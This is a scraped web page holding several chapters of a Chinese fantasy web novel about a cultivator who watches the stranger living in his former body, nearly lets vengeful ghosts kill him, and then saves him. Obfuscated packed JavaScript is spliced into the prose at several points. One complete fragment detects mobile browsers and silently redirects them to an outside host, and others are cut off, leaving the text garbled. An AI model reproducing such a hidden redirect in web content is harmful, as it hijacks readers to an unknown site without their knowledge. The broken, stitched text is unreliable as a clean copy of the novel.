$(''#content'').append('' > 少年又看看自己身上:“居然没有沾上灰。” 他不知道想到了什么,突然显得有点开心: “啊,是熟能生巧吗?我终于会在这种狭小的空间里运用灵力的同时,避免弄脏衣服了吗?” 宁时忍不住了。 他干咳了一声,看着少年的眼睛,道:“……那是我画的符。” “隔绝尘土的符。” 少年脸色极速变换。 宁时想了想,补充了一句:“没事,不要你钱,好朋友之间怎么能收你钱呢。” 少年瞬间动容,对他感激涕零地唤了声“哥”。 宁时心安理得地应下来了。 不知为何,连看着这占了他身体的不知名魂魄也顺眼了几分。 他端出一副大哥的做派,指了指少年身后:“先研究你的任务吧。” 少年便乖巧地走了过去。 刚刚动用的灵力,又把土坑的深度向下延伸了一丈。 这次,除了那几匹马留下来的残骸,又多了些别的东西。 ——是人类的骨头。 虽然早有预料,但亲眼看到这种场面,少年还是忍不住后退了一步。 片刻后,才再次上前细细观察起来。 宁时也踩着脚下凹凸的黄土,深一脚浅一脚地走过去。 少年见他来了,道:“我有个疑问。” 宁时:“说吧,说了我也不见得知道。” 少年:…… 无名哥确实有个性。 不过他也并不是真的有疑问要问,只是观察到了不同寻常之处,便道: “骨头发黑,这种情况基本可以判断是遭受了意外。” “如果是受意外而死,人应该会怨气很大的。” “要么是会生成怨灵,要么是会生成地缚灵。” “但是我们都没有见着,任务上也根本没有提到。” “这就很奇怪了。” 宁时懒洋洋地“唔”了一声。 ——少年的任务,他根本不是很关心。 他只关心这个占了他身体的东西过得怎么样,以及什么时候能倒霉。 少年在全神贯注思考任务,并没有发觉他的心不在焉,继续推断着: “我看过一些杂书,上面好像说确实有禁锢人生前灵魂的办法。” “什么锁灵瓶啊,直接在人身上下禁制啊,方法多的很。” 他蹲下身:“嗯,我来研究一下。” 宁时便站在一边,抱着胳膊,看他在那几句骨架边琢磨着。 夜里风凉,他的头脑被冷风一吹,又想起了自己当初从胜意门大老远跑到这里的目的。 ——本来是观察一下这个占了他身体的鬼东西的。 可惜对方话太多,又装作一副人畜无害的样子,硬生生是把他自己给带偏了。 宁时眼神动了动。 他看着少年,少年背后那把铁剑又戳进了他的视线里。 耳边便想起少年的话: “以后会挑选本命武器的。” ……这是多么好的日子啊,前途无量,未来可期。 那么如果没有发生意外的话,这种日子,应该是谁的呢? 如果身体换不回来,那这种顶替别人人生的闹剧,是不是应该终止了呢? 荒郊野岭,夜黑风高。 宁时的眼神彻底变暗了。 102. 受伤 少年依旧在残骨前面蹲着,但宁时的思绪已经跑向了远方。 他想,为什么自己这么倒霉呢? 这一路走过来,从跋涉在雪地里小小的身影,到在何府的暗中谋划,到合江宗大选失败,再到如今的胜意门门主。 虽然看起来自己现在过的人模狗样,但明明是有更好的人生。 那就是被眼前的人偷走的人生。 宁时想。 如果少年消失了会怎么样呢。 …… 耳边,来自少年的欢呼声打断了他的思路。 宁时猛然回神,他皱着眉,向少年的方向望过去。 少年好像已经有了眉目,他站起身来,对宁时挥挥手:“你看,这个东西是不是锁魂环呢?” 宁时慢吞吞地走过去,不知怎地,他刚刚有一瞬间的心虚。 但这瞬间的心虚很快被眼前的景象盖过去了。 这里的土坑本来就不算宽,因此这几步路他也没走多久,很快就来到了少年面前,看到了他所指的“锁魂环”。 那是一枚小小的暗色圆环,被扣在了骨头指尖的末尾。 圆环看起来像是生铁做的,黑漆漆的,大小和扳指差不多大。 因此在这具骨头已经变成了黑色的残骸上面,还让人一时间看不出来。 宁时凑近了看了看,做出了判断:“嗯,肯定是锁魂环。” “锁魂环功能很强大的,”他看了一眼四周的,“其他骨头上没有,是因为只要这么一个锁魂环就够了。” “就可以把所有的人都魂魄禁锢起来。” 面前,少年眼睛睁圆了:“啊,这是有什么深仇大恨?” “要么就是害死他们的凶手太害怕这些人的残魂出什么问题,让别人知道了真相。” 少年皱着眉:“不行,这也太过分了。我要还给他们一个真相。” 说完,手掌里携着一团红色的灵力,直直向这锁魂环拍去。 宁时阻拦的话来不及说出口,眼睁睁的看着这枚用不知名材质所做的圆环在熊熊烈焰中碎掉。 宁时:…… 少年并没有意识到他刚才的迟疑,见锁魂环碎掉了,抬头对宁时一笑:“看,碎掉了。” “他们的灵魂可以获得自由了,我接下来也可以问灵了。” 然后他看到了一个阴沉着脸的宁时。 少年本能的感到了不对劲,支吾了一声:“无名哥……这是怎么了?” 宁时扶额,语气飘渺:“算了,谅你是第一次出来做任务,估计是没听说过这种情况。” 少年:? 宁时盯着那掉在土地上的锁魂环:“就是说,有没有这样一种可能。” “这些人本来就是含冤而死,死亡的时候怨气已经很大了。” “再加上这么多年被锁魂环锁住,魂魄不能进入轮回不能去投胎,能被困在那小小的一方空间里。” “这很有可能变成怨灵的啊。” “他们活着的时候可能是好人,是被害的,但在锁魂环里困了这么多年,现在可说不好了。” 少年:…… 听对方这么一说,少年感觉自己的身体都僵了。 无名哥说得没错。 待会儿从锁魂环里冒出来的,很可能就是几只怨灵了。 怨灵虽然也是由人的魂魄生成的,但和人死去留下的正常魂魄大不相同。 魂魄有自己的意识,性格和主人生前相同,可以沟通交流。 但是怨灵是魂魄在无法进入轮回、被困在某一地方后经过异变而产生的。 它们通常失去了理智,会攻击一切事物,对普通人具有很强的危险性。 而对于修仙者,怨灵的危害没有那么大,但稍有不慎,还是容易受伤的。 当然,如果修仙者控制住了怨灵,再为他们安魂,怨灵也是有几率变回普通魂魄,重新进入轮回的。 而如果安魂的种种办法对怨灵无效的话,除了继续把怨灵锁起来,就只剩下魂飞魄散这一个结局了。 …… 电光石火之间,少年回忆了一遍怨灵的特性与安魂的法术。 他盯着地上那枚锁魂环的断口,发现自己不愿见到的事情发生了—— 一团又一团幽幽的绿光从断口被吐了出来。 那绿光先是扁扁的,呈一线形状。 然后似乎感知到了外边的世界,便膨胀开来。 它们向上延伸,向宽延伸,最后逐渐形成了另外的形状。 是一个个人形。 这些人形高矮不一,胖瘦不同,他们被放出来之后,在原地飘荡着,是一副懵懂的样子。 少年默默退了一步,后背紧贴着土坑边缘,尽量降低自己的存在感——他刚才粗略数了一下,这些人形加起来得有十二个。 而作为一个第一次自己做任务的、修为是筑基大圆满的修士,他要应对这些东西,还是很有难度的。 此时最好的结果是,这些人形还没有成为怨灵。 但显然他的愿望落空了。 这些绿色的人形在空地上游荡了片刻,最后僵在了原处,片刻后,都抬起了头,似是猛然回过神来。 所有人人形用力仰着脖子,张开嘴巴,发出着不成言语的嘶吼声! 他们没有实体,原本的声带也应该在多年的黄沙中被消磨干净了。 但此时,这些嘶吼声却像是从嗓子里挤出来的,让人感觉声音的主人在极度痛苦中,下一秒就要断气。 少年和宁时齐齐打了个抖。 这场嘶吼持续了几个呼吸的时间。 土坑中渐渐安静下来,人形缓缓把脑袋放平,嘴巴合上。 就在一切看起来趋于平静时,所有的人形突然齐齐把脖子扭过来,十二张没有五官的脸直直面向少年和宁时。 ——不,他们不是完全没有五官的。 他们的脸上只剩下一张嘴巴。 是一张越扩越大,逐渐露出了藏匿其中无数獠牙的嘴巴。 人形的怨灵咧开嘴大笑着,扑向少年和宁时! 宁时几乎可以感受到们跳起来时,身上带过来的那股阴冷的风。 阴冷的风即将到达他身前时消失了,它被其他什么东西取代了。 ——是被某种暖洋洋的东西挡住了。 宁时定下心神,下意识地向身旁的少年看去。 然后发现这暖洋洋的东西来自少年。 少年握着那一把铁剑,横于二人身前,带起一道火红色的灵力屏障。 随着灵火跳动,屏障散发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“而且净化之后还会自己长回来,不用担心。” 少年闻言,长长吐了口气。 他似乎下定了什么决心,不再被这些怨灵追着满土坑乱跑了,而是转过身来,面对着他们,举起了剑—— 一道丈宽的红光闪过,怨灵瘫倒了一半。 剩下的几只依旧对少年穷追猛打。 但少年的速度已经比刚才慢下来,那几道猛烈的攻击耗费了他不少的体力。 他的虚弱自然也落在了宁时眼中。 宁时想到了什么,眼神暗了暗。 在二人身后,怨灵的距离越来越近。 终于,有一只怨灵伸展了胳膊,用长长的爪子勾到了少年的袖子。 少年有感,回头,大吃一惊。 他迅速地把“无名哥”往远处一推,同时右手握着铁剑直直劈下! 这一次出了意外。 这怨灵不知怎地,不但硬是躲过了他这一次攻击,而且还借力猛然往前一窜,几乎贴到了少年身上。 他大敞着嘴,少年几乎可以看到他口腔中畸变的牙齿。 怨灵咬了下去。 这一下,他品尝到的不再是空气的味道了。 而是鲜活的,人类的血液的味道。 有血色在少年的衣袖上绽开。 宁时身上贴着一张他自己画的隐息符,站在距离少年一丈远的旁边。 他静默地看着剩余五只怨灵在血腥气的引诱下,慢慢在少年身边聚拢起来。 103. 宁时的杀意 望着眼前的血色,这一瞬间,宁时想到了非常多的东西。 他第一个想法是,这六只还有攻击力的怨灵,能不能杀死少年。 答案是可以的。 刚入门的修真者,勉强可以对付得了一直怨灵,但现在在他们身前的,是六只。 这是一个即使有人追查事件真相,也看不出来什么问题的数量。 然后他想起了很多从前的事情,很多从前他还在这一具身体里的事情。 他在雪地里一脚浅一脚的走着,从小腿往下冻得通红。 到了暖和的地方,这些被冻伤的部位就开始发痒。 不知道少年用他这具身体,在每个冬天里,这些冻伤还会复发吗? 于是宁时又想到了在城南的那处野坟,那几块碎瓷。 少年知道他脖子上曾经留下的东西吗? 再就是在何府。 他知道自己当年为了防止成为灯油,怎样努力让自己活下来的吗? 他全然不知晓。 只有宁时自己才会知道,在那些年的坎坷的岁月里,他是怎么让自己活下去的,又是怎么把自己的身体养得健健康康的。 当他的灵魂离开这具身体时,他的皮肤还算有着少年人的细腻,摸上去是温润的,也没有疤痕。 他的眼睛是有神采的,顾盼生辉,证据就是以前会有许多何家的小丫鬟会偷偷打量他。 他的手指修长而灵活,没有被折断;他的腿上有紧实的肌肉,能跑,还能轻易的翻上何家的墙头。 他的胃喜欢牛羊肉,浓汤的温度会透过胃带到全身。 他的经脉通畅,适宜修炼。 他病了会吃药,能感受到死去的组织在黑漆漆的液体中,一天天被新的组织代替。 ……这就是宁时的身体。 是宁时从前的、少年江晏现在的身体。 宁时突然感觉非常非常可惜,这种情绪像曾经卡在他喉头的干馒头,噎得整个胸腔带着心脏都在疼痛。 如果放任怨灵杀死了少年,这具他一直以来认真对待的身体就碎掉了。 他没有疤痕的手臂、胸腔会被怨灵的爪子撕开,然后血会止不住地涌出来。 少年可能因为失血过多而死掉。 像何家那些被邪术反噬的人一样,死掉。 他从前的身体不再有心跳,不再有呼吸。 可能一开始还是暖和的,但终于会渐渐变凉,变僵硬。 然后在这个小地方的荒郊野岭中的一个土坑里烂掉。 这具曾经陪伴了他十几年的身体,会逐渐变了颜色,然后会被许多不知名的虫子啃食掉,最后留下难以被消化的骨头。 风吹雨打,这些骨头也会消失。 然后他曾经在这个世界上的痕迹都彻底被抹去了。 宁时脑海中轰轰烈烈,他自己没意识到,自己的胸口正在剧烈起伏——他在大口大口地呼吸着,以期逃出这份能把他整个人淹没的某个未来。 宁时的手攥紧了,他昏昏沉沉的想着: ——这个身体是自己曾经的身体不错,但现在已经被这不知底细的魂魄占了去。 又找不到换回来的方法。 所以,即使是弄死对方……也是没有关系的吧? 但明明已经想通了,为什么还下不去手呢? 宁时发着抖。 他想,这大约是金鸡驿的郊外晚上风大,天凉。 但后背似乎又暖意,是残留的什么温度。 刚才汹涌的思绪耗费了他很大一部分精力,宁时慢慢伸出手,抬起胳膊越过脖颈,轻轻摸了下后背。 ——他想起来了。 是他从前这具身体留下的温度。 是少年刚刚在怨灵前,推开他时留下的温度。 恍然中,宁时似乎真的开始头疼了。 他的视线跳跃着,景物在摇晃,拉长,变得模糊。 四周的一切都渐渐变慢了。 他看见了少年手臂上那一条寸余长的伤口。 看见了怨灵勾着少年衣袖的爪子。 …… 他不知道自己是怎么想的,这明明是一个不声不响把人坑死的好时机,但他却一把揭下自己身上的隐息符,打出一道灵力,将其附在了少年身上。 一瞬间,少年连同身上的血迹,都隐匿了气息。 但宁时的气息逐渐显现出来。 失去了目标的怨灵先是愣在了原地,怅然地伸长了脖子,向四周嗅着。 少年死里逃生,他还没有搞清楚状况,睁着眼睛,怔怔地看着面前的怨灵鼻子在自己前方拱来拱去,却没有攻击的意图。 怨灵似乎在另一个方向嗅到了什么,动作僵了一瞬,齐齐将头扭了过去。 ——那是宁时的方向。 少年看到,怨灵向“无名哥”的方向涌过去了。 六团绿色的人形完全盖住了那个少年符修。 少年惊了。 他虽然不明白为什么怨灵突然放弃了攻击自己,但他现在只知道,这样下去,无名哥可能会死的。 少年来不及按住自己被抓伤的左手臂,他用右手提起剑,向怨灵斩去! 有那么一瞬间,他在心里庆幸,怨灵伤的是左臂,因此自己用剑没有受到太大的影响。 …… 几道红光闪过。 少年和宁时都气喘吁吁,背靠在土坑上。 两人脚下是一地去了行动能力,仍然在挣扎的怨灵。 宁时低着头,做出一副还没有从惊吓和激战中回过神来的样子,掩下眼中的情绪。 ——说实话,他有点懵。 现在听着身边少年人略带急促的喘息,他显然能判断出对方出于一个生龙活虎性命无忧的状态。 于是宁时便越发搞不清楚自己想干什么了。 明明在刚才,他还信誓旦旦地在心里发誓,要借这个机会,把对方坑死。 结果…… 宁时僵着脸,微微勾了一下身侧的小指,把贴在少年身上的隐息符隔空取了回来。 ——嗯,事情的结果就是这样的。 他不但没有隔岸观火,任凭对方自生自灭;反而是在危急中救了对方一命,甚至不惜给少年用上了自己用来保命的符纸。 而且这帮助对方的动作还做得偷偷摸摸的,生怕面前的人发现一样。 ……这对吗。宁时悲痛地想。 想自己堂堂胜意门门主,平时画的符可是千金难求,结果如今不但由自己免费用在了别人身上,而且还是用在了仇人身上! 他感觉自己可能精神错乱了。 宁时叹了口气,抬起头,看向土坑上方的一小块夜空。 在他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902414|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁,少年缓过了劲。 他看看宁时,又戳了戳对方:“哥。” 宁时收回看月亮视线,转向少年,面无表情。 少年道:“哥,你没有伤着吧?” 宁时:“……没有。” 少年沾血的衣袖撞进他的视线,宁时想,他这具身体还是受伤了。 自己此时作为少年的朋友,应该做出一些关心的举动。 于是,宁时听见了自己的身体说:“我这里有一些丹药。” 然后他眼睁睁的看着自己的身体掏出了几个瓶瓶罐罐,递给少年。 宁时:? 不是,他感觉自己的身体好像不受自己控制了。 而少年听了,则是对他笑了笑,道了声谢后,从他手上拿走了那几瓶丹药。 少年的手刚一离开,宁时立刻收回了自己的手。 他低着眼,手放在身侧,无意识地挠了挠掌心。 ……那是少年刚刚碰到的地方。 少年没有注意到宁时的小动作,他一面将丹药吃下或外敷,一面盯着地上一摊的怨灵们,以防他们暴起伤人。 事实证明,他和无名哥的还是挺能干的。 少年的伤口从刚敷上丹药直到愈合,这些怨灵都老老实实地趴在地上,连起身都做不到。 看起来比刚才满土坑乱飞时安全多了。 少年和宁时都安心不少。 怨灵失去了行动能力,接下来二人要做的,就是给他们安魂。 让他们重新恢复做人时的理智,重新转生进入轮回。 宁时会画安魂符,但是鉴于他感觉自己今天已经莫名其妙地少年很多次,他决定保持沉默。 他倒是要看看,少年自己会怎么做。 宁时看向少年。 少年没有看着他,因为他正在储物袋里窸窸窣窣地掏着东西。 宁时:? 看样子,少年应该是在找东西,很快,他找到了自己需要的内容,抬起头来。 有灵光闪过,宁时把目光顺着移过去,看到了少年手中的……一本书。 少年感受到了他的目光,面色微微涨红了: “这个真没有教……谁家剑修好好的要学给怨灵安魂啊。” “难道一般不是全程砍过去就完事了吗!” 宁时:…… 行吧。 他坐在了地上,头顶是深蓝的天空。 身边是少年唰唰的翻书声。 片刻后,少年似乎终于找到了相应的办法。 他念了一段叽里咕噜的咒语,然后用剑比划了一阵子。 只见一层薄薄的红光自土坑底部晕开,笼罩了所有怨灵。 这些绿色的怨灵沐浴在其中,先是发出了如如油锅的嘶吼。 随后嘶吼声渐渐小了,他们身上的绿色逐步褪去,直到全部变成了一群苍白色的灵魂。 那些在刚刚冲突中折断的四肢也长了回来,这些白色的人形终于站了起来。 他们安安静静,走近了少年和宁时。 离得近了,才发现他们连五官也重新出现了。 每个魂魄的相貌各不相同,好似一个个活生生的人。 为首的一只魂魄走到了少年面前,停下。 他张了张和人类无异的嘴巴,发出了几个字: “多谢仙长。” 104. 安魂 夜风萧瑟,少年和宁时坐着,面前是十二只魂魄。 少年看起来很是不习惯“仙长”这个称呼,闻言,迅速站起身来,欲扶起那为首正在鞠躬的魂魄。 少年道:“请起请起,不敢当仙长一词,只是下山游历罢了。” 他的手穿过了魂魄的虚影,那魂魄站起来,问:“那该如何称呼?” 少年也没有想到这个问题,一时间答不出来,长长“呃”了一声。 他身后,宁时懒洋洋的声音传来:“让他们叫你恩公嘛。” 少年:?! 虽然这个称呼猛一听,有一种狐狸精称呼救命恩人的感觉,但是一时间也想不出来更加合适的词语了。 于是少年点了点头。 那些魂魄还不算满意,继续追问道:“那可否知道恩公姓名?” 少年道:“江晏。” 说罢,又用手指在土地上划拉下这两个字。 宁时斜眼看着他,突然又有点后悔自己刚才心软了。 ——这个名字明明是自己的。 要不是被不知名的灵魂占据了身体,他现在还是江晏。 也不用当年在大选时匆忙地给自己编了一个新名字。 更不用大费周折地维护好这个新身份。 但现在在琢磨这些已经晚了——谁让他刚才心软了呢? 错过了在任务中坑死少年的时机,就只能等到不知道什么时候才有的下一次了。 现在,宁时只能看少年和魂魄们叽叽喳喳,在旁边充当一个安静的摆件。 他身旁,少年已经和魂魄们热火朝天地聊了起来。 魂魄:“刚刚的事太抱歉了,失去了甚至成为怨灵,伤到了你们。” 闻言,宁时挑了下眉。 少年则道:“啊,没事的,能理解的。” 他指了指自己的手臂:“看,已经恢复的差不多了。” 魂魄们看过去,哼唧了一声,有些羞愧地下了头。 少年看着他们,问:“如果按常理,你们应该在死后转生进入轮回。可为何魂魄被困在此地这么久,成为了怨灵?” 魂魄们闻言,一时间有些激动起来。 他们挥动着双臂,张嘴说着什么。 但是他们在土里埋了太久,又被锁魂环扣住了这么多年,许多魂魄发出的声音已经不成句子,一时间难以听懂说的是什么。 少年对为首的魂魄投过去一个疑惑的眼神。 这魂魄看起来还保留了较多的语言能力,他叹了口气,张嘴发出一声常人听不见的叫声。 然后只见其他魂魄渐渐安静下来,土坑里,此时只剩下为首魂魄的声音。 他道:“我叫李大柱。” “我和我身后的弟兄们都是一阁镖局的。” 李大柱指了指土坑里的几具人骨:“想必你们已经看到了,这就是我们生前留下来的东西。” “人正常死后,骨头不应该是黑色的。” “这件事说来话长。” 少年点点头,做洗耳恭听状:“你说。” “我们下山本来就是惩恶扬善,要弄清楚当年的真相,让灵魂得到安息,这才算不虚此行。” 李大柱鞠了一躬,继续讲着: “当年我和后面的这群弟兄们,押送着一批货,路过了这里。” “主人家的货应该是一批财宝,具体是什么只有物主和镖局知道,我们知道的信息不会这么详细。” “一路上不算风平浪静,但还算顺利。” “直到我们到了这里。” “金鸡驿旁边有修仙的大宗门,叫什么来着?我忘记了。” “总之,我们感觉这块地界相较于其他地方,应该会更平静一点。” “所以我们在这处时比平时更加放松,有人吃了一点酒。” “其实喝酒也无妨的,我们会轮着职夜,没有排到的人只要不喝醉就没事。” “况且那天,几人喝的酒也不多。” “他们酒后回房了,几人聚在在一个弟兄的屋子里聊天。” “却不料自己已经被人盯上了。” 李大柱捂住了脸,长长叹气:“这件事都是害死我们的那人,在我们死前告诉我们的。” 他苦笑着:“算了,我们还是继续按照时间顺序讲吧。” “那人看我们是镖局的,押送的几个箱子看起来重量又不轻,便猜想里面有不少金银珠宝。” “又看到我们有弟兄醉了,偷偷跟在他们身后,记住了他们所住的房间。” “然后悄悄蹲在门口,听了不少他们酒后的话。” “人喝醉了什么都会说。” “我们本来就是在押送途中,不可避免地谈到了箱子里装的东西。” “我们当时也不是有意的,只是聊天之前说到了很沉,可能有珠宝。” “谁知道却被有心人记下了。” “后面的事其实就很俗套了。” “对方先是和我们套近乎,装作无意透露给我们一个消息。” “说是金鸡驿郊外,就在我们现在在的这里,有一份前人遗留下来的财宝。” “他说,他一个人势单力薄,把这个消息告诉我们,是希望我们挖到宝藏时,也能分给他一部分。” “起初我们也怀疑过,但是对方看起来瘦瘦小小的,还伪装得很成功。” “再加上世间人哪里有不爱钱的,我们最终还是答应了。” “他告诉我们,在白天人多眼杂,还是晚上去郊外挖宝方便。” “这番说辞也是合情合理,我们就这样答应了,决定晚上一更在此地见面挖宝。” “但谁知,对方买通了客栈里的小二,给我们的饭菜里下毒。” “那药物独特,起作用的时间要比吃进口中晚三个时辰左右。” “因此我们从吃下晚饭,一直到深夜来到金鸡驿城郊,都是好好的,没有任何不适的症状。” “我们当时到了这里,还是兴高采烈的,在心里琢磨着终于能发一笔财了。” “对方带着我们,装模作样的寻找了大概有一炷香的时间。” “然后我们身上的毒药发作了。” “他就冷漠地站在那里,看着我们一个接着一个倒下,脸上没有多余的表情。” “我们这时才意识到他要做什么。” “我们押镖,箱子不能离身。” “因此这天晚上,我们,我们的马,以及我们的箱子,全都在这一片寂静的郊外了。” “哦,除了我们的行李还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他是本地一个小客栈老板的儿子,明明不缺钱,却跟这种勾当。” “我们被困在锁魂环里最初的几年,能借着风声听到关于他的一些消息。” “他好赌,所以缺钱,加上性子霸道,所以当时才想劫了我们。” “但是他干的这件事一直没有被外人发现,直到他病死了。” 少年:…… 李大柱愤愤地报了一个日子,又道:“就是那一天!我记得清清楚楚,他可总算死了。” 说完,看着少年:“恩公啊,我刚刚忘了问了,现在是什么时候啊?” 少年扶额:“……距离你说的事情,已经过去二百年了。” 李大柱嘴角抽搐。 少年叹气:“现在人间不算太平。” “你刚才说主家的时候我就在想,这个时期怎会有人跨越千里就为了运送给院子里用的土。” “不过要是二百年前……好吧,没事了。” 105. 完工 李大柱说出当年的内情后,连带着身后十一只魂魄和马,身形居然都变得渐渐透明起来。 少年不明所以,对宁时投过去一个疑惑的眼神。 宁时:“……不是,你们剑修真的不学安魂相关知识啊。” 少年对他眨巴了几下圆圆的眼睛。 宁时扶额:“好吧……因为他们的执念没有了。” 少年重复了一遍这两个字:“执念?” 宁时点头:“嗯,就是他们当年死亡的真相啊。” 小小的土坑里沉默片刻后,少年又道:“可我还不是很明白。” “他只是给我们复述了一遍曾经发生的事情,我们也没能对凶手做什么,执念怎么就消失了呢?” 宁时忍不住拍了对方的脑门:“怎么这么死心眼。” “他们的执念就是说出真相呗。” “至于害人的人,自然会有地方清算他犯下的事。” 他看了眼魂魄,发现他们已经趋于完全透明了:“等这些人到奈何桥上时,也许那贼人还在下面赎罪呢。” “没准双方能遇上。” 少年听了,慢吞吞地“哦”了一声。 空气里似乎传来了一声“多谢恩人”,少年循声望过去,只见土坑里已经空了。 所有魂魄的身影都已经消失了。 只有夜晚的风吹过土坑底部里几具泛黑的骨头。 又过了片刻,这些骨头仿佛沙土做成的一样,消解在了风中。 一切都平静下来。 只留下他和无名哥并肩坐在土坑里。 刚才经历的一切惊险刺激都逐渐褪去,少年的一颗心渐渐平静下来。 他看向宁时:“无名哥,刚才有些吓人诶。” “我指的是怨灵还没有被安魂的时候,尤其是他们扑过来,我差点感觉自己要交代在这里了。” 他不说还好,这么一说,宁时又想起来被自己莫名其妙放弃的坑人机会,一时间没控制住脸上的表情,微微扭曲了下。 少年很显然把他的表情会错了意,道:“就是,原来你也觉得害怕啊。” “刚才你一直那么冷静,我还以为你没事呢。” 宁时:…… 很明显,少年误会了什么。 但是自己又不能解释。 他自暴自弃地想——算了,任凭少年自我理解吧。 但少年已经进行到了下一个话题。 他对宁时道:“哥,你之前出去游历,也会遇到像今天这么……” 他想了想,挑了一个词,“这么凶险的情况吗?” 宁时轻轻唔了一声。 他告诉少年的身份本来就是假的,被这么一问,脑子里想到的却是在何家的那些日子。 ……确实也可以说得上是凶险。 于是宁时道:“有的。” 少年“啊”了一下:“那你有没有受伤过啊。” 宁时不知道怎的,心情突然有点好起来,他道:“没有。” 少年听了,看向他的眼神更加赞叹了。 宁时:“……想听一听我之前的故事?” 少年猛点头。 宁时道:“行啊。” 于是他重新编了一下自己当年干翻一整个何家的故事。 最终少年听到的是一个“智除邪修”的故事。 这故事如同饭后小甜点一般让人满足。 少年听得意犹未尽。 土坑上方的天色渐渐变白,两人才意识到,经过了这么一番折腾,已经到了第二天。 宁时想了想,戳了下少年:“欸。” 少年:? 宁时指了指他染上血迹的那只袖子:“都这么久了,看看好了没有?” 少年拍了下脑袋:“嗐,我都把这事情给忘了。” “哥,你给我的丹药真好用,一点也不疼了,我都感觉不到有伤口了。” 宁时:…… 少年真的话很多,但神奇的是,自己居然不是很讨厌。 面前,少年撸起袖子,露出左臂。 上面还有一些残留干涸的血迹,但依然能看到,几个时辰之前那条狰狞的伤口已经消失了,留下一道浅色的印子。 少年用右手在上面搓了几下,试图把血痂揉掉。 宁时:“……你先别动,别把伤口揉裂了。” 于是少年便停下动作,看着他的无名哥扔过来一张不知名的符纸,贴在了胳膊上。 少年的左臂晕在一团光里,片刻后,光芒散开。 少年抬起左臂查看,只见上面的血污已经完全消失了。 伤口确实也愈合好了,只留下一痕浅白。 宁时也凑过来看了看,道:“不会留疤,这是还没有长好。” “回去再养几天,就能彻底好了。” 少年呼出了一口气:“原来这样啊,我刚才还以为要留疤了呢。” 宁时:“我虽然不是药修,但给你的药还不至于那么差劲。” 少年叫了一声:“无名哥厉害!” 宁时:…… 少年又道:“不过说起来,虽然有种传统的说法称,伤疤是剑修的勋章。” “但是我感觉没有疤的也是很厉害。” “这说明了对方没有受过伤。” “而且,”少年突然支吾了一下,“我曾经失忆过。” 宁时眼神动了动:“嗯。” 少年继续说道:“我曾经专门抽出一段时间来检查自己的身体。” “从外表,一直到身体里面的经脉。” “不但没有发现任何受到严重伤害的地方。” “相反的是,这具身体可以说状态非常好。” “非常适合修炼。” “啊,我们刚才说的是什么来着……哦,是疤痕。” “这具身体上,没有任何留疤的地方。” “所以我就想啊,我从前一定是个很爱自己的小孩。” “或者是被别人好好爱过。” “小孩子淘气,难免磕碰;再加上这段时间人间日子不算好过。” “可是这些东西都没有在身体上留下痕迹。” “我虽然不记得之前的事情了,但有必要继续保持下去。” “维持好自己身体的样子。” …… 少年感慨完了,转过头去看“无名”。 只见他直勾勾的盯着自己,眼神却有些飘忽。 少年有些摸不准他在想什么,推了对方一把:“怎么,我说的难道不对吗?” 宁时:…… 他缓缓开口,声音有些哑:“没有,我感觉你说的很对。” 又拍了拍少年的肩:“非常好,继续保持下去。” 少年点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902416|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——虽然看起来一切都对,但为什么莫名有一种不对劲的感觉? 他甩了甩脑袋,将这个想法抛到脑后。 天色愈发明亮起来。 少年和宁时站起来,跳到了地面上。 二人望着面前巨大的土坑。 少年:“……我们是不是应该把坑填上?” 宁时:“嗯。” 一番忙活后,天色已经完全亮了。 金鸡驿郊外的这个土坑,也消失的无影无踪。 就像这个晚上什么事情都没有发生过一样。 二人回到了客栈。 毕竟是修真的人,体力要比凡人好,一个晚上不睡觉,两人都觉得没什么。 少年摸出来宗门如风堂里的任务木牌,看了看。 宁时也凑了过来:“这木牌的颜色好像有变化?” 少年点点头:“是了,这块木牌能自动判定任务完成的状态。” “我们已经完成了任务,木牌的颜色就会变得深一些。” 宁时“唔”了一声。 少年又道:“我得回宗门了。” 宁时一愣,他没有想到对方这么赶时间。 一时间,他差点说出“你活来的时候可是磨蹭得很”这句话。 但还好他本来就是一个话少的人,硬生生憋住了,不然就暴露了自己放在少年身上的见行符。 宁时想了想,决定直接问:“怎么这么着急回去?不去四周转转吗?” 少年哀嚎了一声。 宁时:? 少年痛苦道:“怎么说呢,我们宗门的这块任务木板非常……智慧。” 宁时:……好像更听不懂了。 少年解释:“它可以记录我们下山做任务的轨迹和时间。” 宁时:“这是个监视器吧……不对,那它有没有显影的功能?” 宁时的心提了起来——如果合江宗能看到他和少年做任务的画面,那他用的隐息符,以及自己的那些小心思,很可能就会暴露了。 他当时是想坑少年不假,但从来没有准备让合江宗发现真相。 面前的少年看不出他的情绪,道:“要看情况了。” “只有我们自己专门打开收集影像的功能时,宗门那边才会看到。” “但我没开……其实一般也不会有人用的。” 